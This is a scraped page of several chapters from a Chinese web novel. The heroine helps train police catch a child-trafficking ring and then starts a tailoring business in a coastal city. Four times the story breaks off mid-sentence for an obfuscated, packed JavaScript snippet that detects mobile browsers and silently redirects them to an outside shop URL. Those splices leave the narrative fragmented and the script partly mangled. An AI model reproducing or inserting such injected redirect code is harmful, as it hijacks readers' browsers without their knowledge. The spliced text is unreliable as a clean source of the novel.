最明显的差异就是两边的车窗居然是可以打开的。江雪拉着关嘉言走在前面，关山越拎着行李跟在后面，在车厢中部找到了他们的铺位。 一张下铺，一张中铺。 关山越把行李塞进行李架，转过头道：“等晚上我睡下铺，你带关嘉言去上面睡。” 下铺无疑是最方便的，旁边还有小桌板，能放东西，还能当个饭桌。中铺和下铺则恰恰相反，光是爬上爬下就是件麻烦事。 江雪点头答应，“好。” 车厢里的人慢慢多了起来，人一多，又处在一个相对狭窄封闭的环境里，温度也渐渐升高。加上各种气味杂糅在一起，车厢里又热又闷。 没过一会儿，关嘉言就有点儿坐不住了。看了看江雪，似乎想说什么，但又不敢说。 江雪注意到他的小动作，略一思索就知道是怎么回事。摸了摸他的额头，果然出了层薄汗，于是抬手摘了他的帽子。 帽子一摘，底下赫然是个圆溜溜的小脑袋。头发被剃的只剩一层短短的发茬，摸上去甚至有些扎手，跟之前留着刘海，扎着小辫的乖顺模样简直判若两人。 江雪朝关山越看去一眼，后者心虚的移开了目光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615395|187725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们的床铺对面是对中年男女，比他们早上车，一个看报纸，一个织毛衣，都不是多话的人。 就在火车启动前一秒，刚刚才在进站口和他们分开的春丫扛着居然大包小包过来了。 见到认识的人，春丫显然兴奋极了，“姐，你们也在这辆车啊！” 她拿着自己的卧铺牌仔细对比床铺旁的号码，表情愈发开心，指着江雪上铺说：“姐，我就在你上面呢，咱们还能做个伴儿。” 刚刚在车站派出所，春丫也做了笔录，江雪这才知道这小姑娘看着傻，其实也是留了点儿心眼的。 她不叫春丫，而是叫招娣。 王招娣。 * 几个人揣着手，三三两两的车厢连接处或站或靠，偶尔有人路过，就抬头看一眼，也不说话，看起来和坐车的其他人没有区别。 过了一会儿，一个上了年纪的中年妇女挎着篮子走了过来，原本安静着的几个人像是突然活过来一样，开始朝四下张望。 火车正在行驶途中，大部分乘客都在自己的位置上坐着，来回走动的很少。 见没人过来，中年妇女走到靠近车门的位置站住，从篮子里掏出一个烟盒，从里面抽了根烟出来。离她最近的那个人立刻划亮火柴，凑近替她点燃香烟。 “人呢？”中年妇女吐出一口烟，“找着了没？” “找着了，玉姐。”另一个人接话道：“就在第八节车厢里，是卧铺，就是……” 玉姐瞪了他一眼，“就是什么？” “就是她旁边还有个男的，玉姐，是不是不太好下手。” 有个男的？ 玉姐抽烟的动作一顿，随即有些烦躁的把烟头丢在地上，用脚狠狠碾了几下。 那人又问：“玉姐，那这单，咱们还干吗？” 玉姐斜睨了他一眼，伸出手比划了个数字，“我可告诉你们，那丫头加上那个孩子，咱们起码能赚这个数。” 走南闯北这么多年，她还是头回见长得这么好看的小男孩。那丫头瞧着漂漂亮亮，穿的衣裳不怎么样，人倒是警觉，竟然一点儿没上当。 火车车轮轧过铁轨，发出咣当咣当的声音，像催人入眠的白噪音。 关嘉言被关山越抱去中铺，江雪也顺着栏杆爬了上去。关嘉言第一次和江雪睡一张床，只觉得舅妈身上香香的，和舅舅一点儿都不一样。 火车上的被子又潮又硬，索性天气不冷，江雪直接穿着衣服睡觉，叫关嘉言睡在里面，以免半夜掉下去。 乘务员过来关了灯，车厢顿时陷入一片黑暗。江雪本来以为自己会睡不着，可听着火车咣当行进的声音，没一会儿就放缓了呼吸。 半夜，睡在下铺的关山越警觉地睁开眼，一瞬间从床上翻身而起，厉声道：“谁？” 黑夜中，一道人影一闪而过。 16. 第十六章 声音吵醒了本就睡的不沉的江雪。 她翻身坐起，先摸了摸旁边的关嘉言，确定他睡的正香，才转头看向关山越，问道：“怎么了？” 关山越个子高，站起来后头顶都超过了上铺。听到江雪的声音，他垂眸看过来。黑夜中，江雪看到他的一双眼睛闪着亮光，像野外时刻保持警惕的野兽。 沉默片刻，关山越如实回答：“有人来过。” 话音刚落，火车的车速渐渐慢了下来，乘务员打着手电筒走过去，小声提醒即将到站的旅客拿好行李准备下车。 江雪被手电筒的灯光晃了下眼，后知后觉的反应过来关山越话里的意思，后背瞬间出了层冷汗。 如果只是刚好路过的人，关山越不会如此警觉，除非是这人有什么不同寻常的举动。 假如是她带着关嘉言，或者是她自己，为了方便睡在下铺…… 她看向关山越，关山越摇摇头，低声道：“睡吧，我来守着。” 江雪没有推辞，“好，你撑不住了就叫我。” 后半夜，关山越没再睡觉。 火车走走停停，停靠站点时，站台上昏黄黯淡的灯光透过车窗影影绰绰的照进来，来往走动的人发出细碎的声响，在寂静的夜里格外清晰。 而每次火车停靠，睡在中铺的江雪都会在第一时间醒来。关山越听到她变得警惕的呼吸声从头顶传来，直到火车启动才会重新变得和缓。 临近天明，他们对面的中年男女下了车。没过一会儿，乘务员开始拎着热水瓶在车厢里来回走动，给需要用水的乘客灌满水壶。 等到关嘉言揉着眼睛醒来，江雪才坐起身，叫关山越把他抱下去，自己踩着脚踏慢慢下来。 火车上用水有限，江雪从行李袋里翻出牙膏牙刷，连同搪瓷杯子一块递过去，催促关山越道：“你先带着他去洗漱。” 关山越一手抱着关嘉言，一手接过东西，应道：“我们一起。” 洗漱的地方在车厢连接处，离得不远，但这会儿过去估计要排队。江雪摇摇头，“我看着行李。” 春丫一觉睡到天亮，压根不知道晚上发生了什么，听到江雪和关山越的对话，从上铺探出头来，乐呵呵的说：“没事，姐，你跟大哥带着孩子去吧，我给你们看行李。” “你们先去。”江雪一锤定音，“等会儿我和春丫一起。” 洗漱完，四人开始吃饭。 对面暂时没人，春丫高高兴兴的坐了过去。江雪见她只带了馒头，就分了点儿咸菜给她，又倒给她一杯热水。 春丫感动的眼泪汪汪，“姐，你真是个大好人。”不仅救了她的命，现在还这么照顾她。 江雪努力咽下已经变得干硬的馒头，其实她没什么胃口，但昨天发生的事情让她知道保存体力的重要性，万一遇上什么危险，不至于连还手的力气都没有。 吃过饭，关山越去洗了两个苹果，江雪和关嘉言一人一个。 苹果甜脆，江雪心里的不安渐渐少了一些。她看向关山越道：“你去上面睡一会儿吧。” 关山越摇头，“不用，我不困。” 江雪坚持，“还有两三天，你总不能一直这么熬下去。” 关嘉言啃苹果啃的满脸都是，关山越带他去洗了脸，回来后说：“没事，之前在部队，遇上侦查任务，往树林子里一窝就是好几天，不吃不睡很正常。” 江雪震惊的瞪大了眼，她只知道关山越是退伍军人，“你上过战场？” 怪不得第一次见面的时候，她就觉得这个人像是刚从枪林弹雨中穿越出来。 既然如此，江雪也就不再多说什么。 春丫长相讨喜，性格也好，没过一会儿就和关嘉言玩到了一起。两人齐齐趴在车窗玻璃上往外看，遇到没见过的景色，春丫还会夸张的“哇”出声，关嘉言脸上也满是笑意。 上午过了一半，乘务员再次拎着热水壶来回走动。 江雪拿着水壶去灌热水，听到乘务员正在反复交代乘客看好个人用品。 有人问是不是出了什么事，乘务员“嗐”了声，苦着脸道：“可说呢，昨晚上好几个车厢都丢了钱，少的几十，多的几百，你说这事闹的。” 这时候的几百和未来的几千块差不多，一下子丢这么多钱，放在谁身上都不好受。乘务员说完，相邻几个隔间的人纷纷去看自己的行李。 江雪接满热水，拎着水壶回去，和同样听到乘务员说话的关山越对视一眼。 如果昨天晚上来的人是小偷，他们反而能松一口气。 就怕对方别有用心。 关嘉言交给关山越照看，江雪则和春丫一起。 守在厕所门外，江雪低着头，在心里默默计算还要多久才能到海市。 有人从面前经过，江雪默默往旁边让了让，却见对方往前走了两步，又退了回来，一双打着打着补丁的蓝布鞋子将将好停在她眼前。 蓝布鞋子开了口，“闺女，这是六车厢吗？” 周围也没有其他人，江雪边抬头边说，“不是，你走过了，这是八车厢。” 话音落，她看到了站在面前的人。 一个用花布包着头的中年妇女，臂弯挎着个篮子，身上穿着满大街随处可见的蓝灰色衣服，两颊的法令纹略微有些深，嘴角向下，除此外整张脸平平无奇，是在人群里毫不起眼的存在。 江雪抬手指了个方向，“六车厢在哪边。” 对方道了谢，转身走了，好像真的只是走错车厢，正好遇到了人问路。 春丫从厕所出来，“姐，我上好了，你去吧。” “不用了，我们回去。” 江雪一把抓住她的手腕，冰凉的手指把春丫吓了一跳。抬头一看，才发现江雪的脸白的可怕，跟搽了层白|粉似的，一点血色都没有。 春丫吓了一跳，被江雪拽着回了车厢，见到关山越，才赶忙道：“大哥，你快来看看，姐不知道咋了，脸唰一下就白了。” 关山越闻言起身，江雪朝他伸出手，深吸了口气，又缓缓吐出来，“我没事，你坐。” 关山越“嗯”了声，握住她的手，拉着她一同坐了下来。 掌心温热粗粝，从手指间划过，江雪下意识反手握住，与他十指紧扣。 “关山越……”江雪叫了他一声，顿了顿，却又不知道怎么往下说。 沉思良久，江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江雪松了口气，但很快又想到另外一件事。 如果不能这次不能把玉姨抓起来，那么未来她还会继续犯案，导致无数个家庭的破碎。 似乎察觉到了她在想什么，关山越主动站起身，“我去找人。” 江雪立马接上，“放心，我们三个就在这儿，哪儿都不去。” 很快，两个乘警来到他们车厢，开始挨个检查身份证件和车票。 到了这边，江雪飞快的把昨天等车时遇到的事情说了一遍，提到为什么会认出对方时，江雪撒了个小谎，“我后来看到那个老太太和她在一起，两个人有说有笑，关系很好的样子。” 乘警对视一眼，严肃道：“这个我们要打电话回去核实一下。” 江雪可以理解，抓贼抓赃，在没有监控覆盖的时代，单凭她一句话就去抓人根本不现实。 更何况，没有证据就贸然抓人，反而会打草惊蛇。 眼看乘警做完登记就要离开，江雪突然想到玉姨刚刚主动找她搭话，她心如鼓擂，下意识向前一步，说道：“我可以作诱饵，引蛇出洞。” 17. 第十七章 江雪和关山越大吵一架。 小两口吵架再正常不过，眼看围观的人越来越多，江雪狠狠一跺脚，拨开人群，捂着脸哭着跑开了。 有人劝关山越赶紧去追，关山越冷哼一声，冷漠道：“随她去。” 说完，自顾自回了隔间，当真不再管跑走的江雪。 没了热闹可看，围观人群也就散了。等到外面渐渐没了声响，春丫才搂着哭的满脸通红的关嘉言，狠狠松了口气。 却又忍不住担忧，只敢压着声音问：“大哥，姐她自己一个人，不会有事吧？” 关山越沉默了一瞬，沉声道：“我相信她。” 他不想让江雪去以身涉险，但江雪用一句话说服了他。 江雪说：“保护人民的生命与财产安全，不是你的职责吗？” 春丫本来想和江雪一起，她知道自己长得老实本分，人也不聪明，在村里的时候大家都总是开她的玩笑，还说拐子就喜欢她这样的，随便唠两句就跟人走了。 但江雪没同意，一来两个人会让对方有所顾忌，不好下手。 二来…… 江雪点了点她的脸，“你一看就不会说谎骗人。” 不过，江雪还是交给她一个重要的任务，那就是看顾好关嘉言。 父母吵架，孩子哪有不哭的。江雪不想吓到关嘉言，便告诉他，舅舅和舅妈只是在玩一个小游戏，关嘉言也要陪着舅舅、舅妈一起，这样才可以抓到坏人。 至于效果，江雪只能说不愧是出道就红遍大街小巷，未来各大奖项拿到手软的影帝，关嘉言的演技简直是与生俱来，浑然天成。 要是没有他的配合，她和关山越还真不一定能演的下去。 沉浸在角色中的江雪没跑远，就在第六和第七节车厢中间停住了。毕竟演戏也要适可而止，戏过了就会惹人怀疑。 哭了一会儿，江雪擦干眼泪。遇上乘务员推着餐车路过，江雪叫住她，“同志，咱们离下一站还有多远？” “还有一个小时。”乘务员负责任的问：“同志，你是遇到什么困难了吗？” 江雪把头一低，眼泪夺眶而出，“我男人怨我非得带着孩子跟他去南方，嫌我碍事。” 清官难断家务事，乘务员只能略略安慰了几句，告诉她有困难就去前面找乘警。 江雪擦干泪，“我知道了，谢谢你，同志。” 乘务员推着餐车走了，江雪继续呆在原地，见着人来抽烟，也只是稍稍躲开一点儿，看起来没有丝毫异样。 为了增加可信度，由乘警扮演的热心旅客还过去劝了关山越几句，得到关山越的一声冷笑，“找什么找？她还能下车跑了不成？反正她迟早得回来。” “美女？”一个穿着打扮流里流气的年轻人靠近江雪，“一个人？” 江雪瞥了他一眼，没说话，冷着脸往旁边躲了躲。 对方不依不饶的继续靠近，“聊聊嘛，正好我也一个人。你在哪儿下车？” 江雪立马呵斥他道：“你离我远点儿，当心我叫公安过来！” “你XX，给脸不要脸是不是？” 年轻人表情一变，抬手朝江雪抓去，却被身后冒出的人一下子捏住了手腕。 “干什么？欺负女同志是不是！走！跟我去见公安！” “死老太婆，关你什么事。”年轻人狠狠瞪了眼对方，见势不对，甩开对方的手，骂骂咧咧的走了。 见他走远，玉姨将目光投向江雪，“没事吧，闺女？” “没事。”江雪向她道谢，“谢谢您。” 玉姨笑着同她搭话，“我有个闺女，跟你年纪差不多大，我瞧见你就跟瞅见我闺女似的，哪能眼睁睁看着你叫人给欺负了去。” 江雪没吱声，低头盯着自己的脚尖。 倘若那个老太太真的是玉姨一伙的，那她现在表现的过于热络，就会惹人怀疑。 果不其然，见她不搭话，玉姨反而更加热情，“闺女，咋就你自己一个人，你这样多危险啊，你家里人呢？” 江雪抬头扫了她一眼，一副不熟不想多话的样子。换做其他人，被人这么不冷不热的对待，这时候就该拍拍屁股走了，玉姨却放下心来。 她用一种过来人的语气问，“怎么？跟家里人吵架了？” 江雪眼眶一红，泪水说掉就掉，却又强撑着不肯叫人看见，背过身去擦泪。 玉姨眼中精光一闪，立马上前，拉进与江雪的距离，“闺女，有啥过不去的事儿，你跟大姨说说，大姨给你想想办法。” 几经拉扯，江雪慢慢放下了防备心，开始向玉姨诉说自己的委屈。 三言两语，江雪就把自己塑造成了一个远嫁外地，在婆家无依无靠，丈夫南下打工，却又出轨他人，嫌弃她不够漂亮，对她不闻不问的可怜人。 隔了一个车厢，关山越狠狠打了个喷嚏。 距离火车到站只剩下不到二十分钟，见时机成熟，江雪主动道：“我算是看明白了，他就没打算跟我继续过日子，等会儿我就下车，买票回娘家去！” “说的是，男人嘛，就该让他长长记性。”玉姨赞同的说：“正好大姨家就要到了，闺女，你要是没地方去，就跟大姨一起。” “谢谢大姨。”江雪拒绝了，“不给您添麻烦，我在车站呆着就行。” 玉姨脸颊的法令纹深深陷了进去，“这哪行，那火车还不知道啥时候来呢，你一个姑娘家，万一跟刚才那个二流子一样，你呀，就听大姨一句劝。” 火车缓缓停下，江雪顺着人流下了车。 玉姨略微落后的两步，之前调戏过江雪的年轻人换了身装束，带了个帽子，凑近她道：“玉姐，那孩子叫人看着，骗不出来。” 玉姨狠狠皱眉，比起江雪，她还是更想要那个孩子。但她刚刚提了一句，江雪就没好气的说那孩子不是她的，是男人和前妻生的。 见没法从江雪这边下手，玉姨又叫手下去孩子那边找机会，想用江雪的名义把孩子骗出来。 年轻人低声道：“要不就算了吧，那孩子看着都四五岁了，还不会说话。” 四五岁的孩子都记事，又是个哑巴，骗过来也不好出手。 * 从车站出来，几个便衣警察便远远的坠在了江雪和玉姨身后。在复杂的街道里转悠了二十多分钟，才终于在一扇木门前停下。 玉姨敲了几下门，门打开，居然是之前在车上出现过的年轻人。不等江雪反应过来，两人齐齐拽住江雪的手臂，一把将她拖进了门内。 门从外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615397|187725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用铁链上了锁，两边的窗户也全部用木板封死，房间里昏暗无比，江雪被捆住手脚推进来，踉跄着跪倒在地上。 “唔唔唔……” 挣扎声从旁边出来，江雪直起身看去，这才发现房间里还有另外两个人。同样被捆住手脚，嘴也被堵上，哭的发红发肿的眼中流露出绝望的色彩。 “队长，人都已经看住了。” 门外，接到通知赶来的公安民警严阵以待。 关山越在车开前的最后一秒抱着关嘉言下了车，在出示了自己的身份证件后，把关嘉言暂时放在派出所，自己则跟着到了现场，并在周围做起了侦查。 “车上下来四个人，这里还有两个，携带至少一把武器。”关山越表情严肃，目光冷峻，“房间里还有个不足一岁的孩子。” 此话一出，在场的所有人都绷紧了神经。 同时也感到庆幸，还好他们没有一下车就实施抓捕，而是跟到了这里，否则这个房子里的另外两个人一旦带着孩子逃走，再想找到他们，无异于大海捞针。 * 两个和江雪关在一起的女孩，直到进了派出所，才反应过来自己得救了。 短暂惊喜之后，两个人抱头痛哭，在警察的提醒下才想起来要联系家里人报平安。 小婴儿的父母前几天才报过案，迟迟没有收到消息，本来都已经不抱希望，接到警察打来的电话后简直欣喜若狂，马不停蹄的赶来了派出所。短短几天时间，两人像是老了几十岁，抱着失而复得的孩子，同样失声痛哭。 连同玉姨在内的整个团伙被一网打尽，连反抗的机会都没有，尽数关进了审讯室里。上辈子的侥幸逃脱并未发生，并且人证物证具在，由不得他们不承认。 按照法律，作为主谋的玉姨，十有八九会要在监狱关上一辈子，再也别想像上辈子那样继续犯案。 接手案件侦办的派出所所长特意过来感谢江雪和关山越，末了道：“本来所里应该给两位开个表彰大会，但现在案件还在侦办中，很多消息处于保密状态。不过两位放心，表彰申请我们已经提交上去了，只要案件侦办下来，我们立马登报……不，立马提交电视台，让他们专门出一期节目。” 电视机中正在播报一起火车劫持案件，几个气焰嚣张的歹徒持刀、枪，劫持了一节火车车厢，最终在铁路干警的有效处置下，为首的歹徒被当场击毙，其余几人尽数归案，并未造成人员伤亡与群众财产损失。 董志勇推开门进屋，刚好听到妻子正对着电视里的新闻评头论足，“活该，就该把他们都枪毙！” 转头看到他回来，妻子问道：“去哪儿了？” 端起桌子上的茶杯喝了一大口，董志勇道：“去巷口打了个电话，关哥说火车晚点了，让我晚几个小时再去接他。” 妻子闻言翻了个白眼，“哼，说好的一起开公司，就你整天忙着脚不沾地。” “你这是说的什么话！”董志勇稍稍加重了语气，伸出自己缺了中指和无名指的右手，“当初要不是关哥救我一命，你能有现在的日子？” 妻子说不过他，索性起身往卧室里走。 “行行行，他是你的救命恩人，我就看你们那个破公司还能开几天，到时候别再求着我，叫我回娘家借钱！” 18. 第十八章 火车停靠站台，久违的新鲜空气涌进鼻腔。江雪深吸一口气，抬头看向头顶悬挂的指示牌。 海市。 出站口挤满了人，关山越一手拎着两个大的行李袋，一手抱关嘉言，江雪则拿着剩下轻便一点儿的东西，紧紧跟在他身后，顺着人流往外走。 “关哥！”到了门口，一个个子不高，身材微胖的男人跳起来向他们招手，“关哥，关哥，这里！” 关山越抬脚往那边走，对方快走两步迎上来，一把接过他手里的行李袋。 “关哥，路上还顺利吗？” “顺利。”关山越点点头，没有要提及路上发生什么事情的意思，转头对江雪道：“这是董志勇。” 董志勇赶忙接话，“您叫我小董就行。” 对方的年龄看起来比关山越还要大一些，话里话外却表现的对关山越极为尊敬，压下心底的疑惑，江雪朝他笑了笑，语气柔和，“你好，初次见面，我叫江雪。” “您好您好。” 董志勇笑容灿烂，拎着行李袋走在前面，替他们拨开人群，走出火车站，在路边停着的一辆黑色小轿车旁停下。 拍拍车尾，董志勇嘿嘿一笑，“关哥，怎么样？” “你买的？”关山越挑眉，“不错。” 董志勇伸手比了个数字，“倒了几手，便宜，不值钱。” 即便是在海市，在九十年代初就能开上四个轮子小轿车的人也不多。且不说一辆车的价格，光是考驾照的费用，上牌照的费用，还有每个月的油耗，零零总总加在一起，就足够让人牙疼。 车是半年多以前买的，买回来后也没开过几次，董志勇叹口气，“我本来想着，要是出去跟人谈生意谈业务，有辆车开着，面子上好看，也能叫人觉得咱公司靠得住。” 要不是这辆车叫人转手了好几次，大大小小的毛病多如牛毛，实在卖不出多少钱，他都想把车卖了填进公司的窟窿里。 正说着，小轿车副驾驶的门打开，从车上面下来一个人，个子和董志勇差不多高，但比董志勇瘦了不少，模样也要年轻几岁，头发留到肩膀，手里拿着传呼机，神色倦怠，眼底的青黑肉眼可见，一副半睡不醒的样子。 “关哥。” 关山越将行李袋放进后备箱，听到声音后转头，看清他的模样，微不可察地皱了皱眉，“李栋梁？” “到！” 李栋梁双腿绷紧，抬头挺胸，站了个标准的军姿，但不到两秒钟就松懈下来，依旧是那副吊儿郎当的模样，嬉皮笑脸道：“班长，我这都退伍一年了，咱就别拿队里的规章制度上纲上线了行不？” 说完，李栋梁又视线一转，看向旁边站着的江雪，顿时眼前一亮，问道：“这位是？” 江雪笑容浅淡，“初次见面，我叫江雪。” “是新嫂子吧！”李栋梁愣了下，露出个夸张的表情，“你好你好，我叫李栋梁，是关哥的好哥们，生死兄弟！” 董志勇用力咳了声，示意他收敛一点儿。 可李栋梁充耳不闻，还主动伸出手，要跟江雪握手。 董志勇看的眼珠子都要瞪出来，想去拦他，但关山越更快一步，抬手卡住他的脖子，硬生生把他转了个圈，重新塞回副驾驶，“啪”的关上了门。 又拉开后座车门，“别耽误工夫，先走。” 小轿车滴滴摁了两声喇叭，调头驶上马路。 改革开放十几年，以深市为首的东南沿海城市在时代的潮流中滚滚向前，以一种日新月异的速度飞速发展。 平整的街道，接连驶过的小轿车，随处可见的小高楼。如果是第一次从安河、新阳这样的内陆城市来到这里，绝对会被眼前的海市所震撼。 但江雪不是。 她亲眼见过三十年后的海市。 高楼林立，直冲云霄，华灯彻夜不息。商铺比邻，人潮涌动，车马川流不息。 缓缓流淌的江水将这座城市分成了东、西两部分，一江之隔，天差地别。时至今日，海市人口中还流传着“宁要西边一张床，不要东边一套房”的说法。未来的地标性建筑，也还在建造当中。 三十年天翻地覆，就算是土生土长的海市人，也很难说清楚这些变化究竟从从哪一刻开始，又在哪一瞬间结束。 关嘉言坐在江雪和关山越中间，好奇的转动脑袋往左右两边看，还想像在火车上一样趴到车窗上，被江雪拦住，强行摁在了座椅上，“不行，等下车了再看。” 路口等红灯的功夫，董志勇朝后面瞥了眼，心里啧啧称奇。 关山越提前在电话里说了自己领证结婚，对象是村里长辈介绍的，跟他一块来了海市。 以至于董志勇来接站之前，还以为会见到一个梳着麻花辫，穿着大花袄，对城市的一切都充满好奇的乡下村姑。 怪不得都说百闻不如一见。 他关哥这对象，长相，气质，就连说话的语气，都跟那名牌大学里的大学生，还有电视剧里的女明星们演的什么经理、秘书一模一样。 反倒是关山越，往她旁边一站，给衬得像个拎行李的保安。 很快，车子停在一栋颇具时代感的单元房楼下。 上到四楼，董志勇在几扇极为相似的门中找到其中一扇，从口袋里掏出钥匙开门。 外面是深绿色的防盗门，里面是漆成米黄色的木门，因为时间久远，油漆已经有些许脱落。 打开门，站在门口，房间内的一切尽收眼底。 进门就是厨房，穿过厨房就是间客厅兼卧室，有沙发和茶几，也有张双人床。左手边还有两扇门，分别是洗手间，以及另外一间卧室。继续往里走，则是个两平米左右的阳台，可以用来晾衣服。 屋子里还摆着几样电器，一台黑白电视机，一台收音机，大卧室的天花板上有吊扇，小卧室里则放了个可以摇头的电风扇。 房间面积不大，多进来几个人便显得局促。并且只有一个沙发，人一多，就只能坐在床上。 房子是董志勇找的，这套房子的户主是对老夫妻，和董志勇的爸妈是几十年的工友。 老夫妻在厂里干了一辈子，分到了这套单元房，后来又花钱买断。现如今老两口的孩子都在深市发展，他们退休又上了年纪，就打算去深市和子女一块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江雪上辈子毕业于一所普通本科，毕业后做过市场营销，也干过一段时间的互联网运营。还在网上经营了一个裁剪账号，在上面发布了不少自己做衣服的视频，没多少粉丝，后来因为工作越来越忙，就搁置下来。 而她现在找工作，自然不能把这些工作经验写到简历上。可总结原主的工作经验，只有短短一句话。 ——初中毕业，曾在被服厂担任工厂女工。 当下正是各种工厂在海市遍地开花的时候，劳动密集型产业急需大量工人，一多半的招聘启事都是工厂招工。还有业务员、销售、售货员一类的工作，门槛低，对学历的要求也低。 除此外，像一些技术性工种，要么是毕业后直接分配，少有的几个私人招聘，也要求高中毕业，或者有相关工作经验。 一连几天，江雪找工作屡屡碰壁，第一次认识到自己只是站在时间的轨道上先一步看到了未来，而不是比这个时代的人多长了个脑子。 正在伏案研究报纸上的招聘信息，房门突然被人敲响。 江雪放下笔起身，打开木门，发现外面站着的居然是没打过几次招呼的隔壁邻居。 江雪疑惑道：“有什么事吗？” “实在是不好意思，我想问一下，你家孩子的衣服是在哪儿买的？” 19、第十九章 第十九章 开启裁缝事业 林虹脸上写满了无奈与尴尬。 她家有个儿子, 今年六岁，正是人嫌狗憎的年纪。今天送他去上学，正好碰上隔壁新搬来的男邻居也带着孩子出门, 在楼梯口打了个碰面。 下楼的时候林虹就发现自家的臭小子一直盯着人家看, 她还以为是臭小子见人家长得好看，想跟人交朋友一起玩。 谁知到了学校门口, 臭小子死活不进学校，就地撒泼，非要让她去买一件和人家身上一模一样的衣服。 要不是当着那么多家长老师的面, 当时她真想狠狠揍他一顿出气。 好不容易哄着他进了学校, 本来以为上一天课, 他就把这事儿给忘了, 没想到平时背书记不住, 这事儿他倒是记得清清楚楚, 刚进家门就缠着她新衣服。 林虹被儿子缠的没办法, 顾不上邻居刚搬进来没两天, 都还没跟他们说过话, 硬着头皮来敲门。 不好空着手上门, 林虹还带了点水果, 两样小孩子玩的玩具。 “衣服？”江雪认真想了下关嘉言今天穿的什么衣服出门。 林虹补充说：“灯芯绒，棕色的，帽子, 帽子上还带了俩耳朵。”她伸出手比划了一下。 她这么一说, 江雪就想起来了, “你是说那件看上去像小熊的衣服对吗？” 林虹忙不迭的点头，“对对对，就是那件。” 江雪开了外面的防盗门把人让进来, “进来坐。” 客厅中间拉了个帘子，算是把客厅和卧室分开，日常起居就方便了许多。 林虹抬脚进屋，把手里拎着的东西放下，不好意思的解释道：“我家那臭小子，今天早上见着你家孩子身上穿了那件衣服，觉得好看，就非缠着我要。哎，谢谢，实在是太麻烦你了。” 她接过江雪递过来的茶杯，喝了口水后继续说：“不瞒你说，我就在百货大楼上班，当售货员。我自己就是卖衣服的，那件衣服我一看就知道，不是买的，商店里没这个款式。” 江雪放下水壶，朝她浅浅微笑道：“那件衣服确实不是买的，是我做的。” 是在安河的时候，刚领了结婚证，江雪闲的没事，借邻居家的缝纫机，拆了两件她觉得不好看的旧衣服改的。 “你做的？”林虹着实没想到，现在不像以前，会做衣服的人少了，而江雪看起来年纪轻轻，做衣服的手艺居然这么好。 江雪点点头，“要不我给你画出来衣服样子，你拿回家自己做。” 林虹连忙摆手，“哎呦，我可不行，我手笨着呢，给我衣服样子我也做不出来。” 会做衣服是门手艺，做得好的，衣服款式和别人不一样的，养活一大家子都不是问题。只不过做衣服费时费力，还得手巧才行。 她就不行，打小就没学会，结婚时候买了架缝纫机，到现在也只会缝缝补补，就算在布料上画好线，比着样子一针一针的缝，做出来的衣服也歪歪扭扭的，不成样子。 江雪笑了笑，“拿到外面去找人做也一样。” 林虹迟疑了一瞬，“这衣服样子外面都没有。”她放下茶杯，“要不这样吧，妹子，我出布料，缝纫机我家也有，请你给看着做一件，我出工费，你看行吗？” * 衣服江雪只花了两天时间就做好了，林虹儿子高高兴兴的穿去学校炫耀，回来后告诉林虹，现在学校里的学生都学他，也在帽子上缝耳朵。 有熊耳朵、兔耳朵、狗耳朵……什么动物都有，学校简直成了个动物园。 林虹转头把这件事当笑话讲给江雪听，她们俩现在关系不错，平时见面能聊上两句。 这栋居民楼里住着的大部分都是同一家工厂的工人，彼此间共同工作居住了几十年，有林虹从中介绍，江雪也很快和他们熟悉起来。 报纸一天天的买，招聘启事一个个的看，又过了几天，眼看到了年底，江雪还是没找到合适的工作，都怀疑是不是因为自己眼高手低，想着要不就去流水线上试着干几天。 但林虹一句话点醒了她，“你有这手艺，还愁没工作？” “别的不说，光咱们这栋楼里都多少人发愁找不到个好裁缝，你连门面都不用租，家里有台缝纫机，做衣服、补衣服都行。你要是不嫌弃，就把我的那个搬走，反正我也用不上，放在那也是浪费，还占地方。” 江雪算了算自己手里的钱，一台缝纫机现在也就二三百块钱，二手的更便宜。再加上针线一类的东西，花不了多少钱。 至于比较贵的布料，可以让顾客自己带来，她只收手工费。 于是等晚上关山越回来，江雪就把这事告诉了他。 毕竟这套房子现在是他们一起住，缝纫机买回来，不管是放在外面，还是放在她屋里，都会对他造成影响。 关山越这段时间同样忙的脚不沾地，除了忙公司的事，还要腾出手来带关嘉言。 即便和江雪结了婚，关山越也没有把关嘉言丢给江雪照顾的意思。 是以这段时间以来，江雪整天忙着四处奔波找工作，关嘉言就跟着关山越去上班。 两人每天早出晚归，关山越在公司，关嘉言就陪着他在公司。关山越出去跑业务，关嘉言就自己呆在办公室，嘱咐他不要跑出门去。 好在关嘉言听话，让做什么做什么，吃饭也不像别的孩子一样要哄着来，自己抱着碗就能吃。 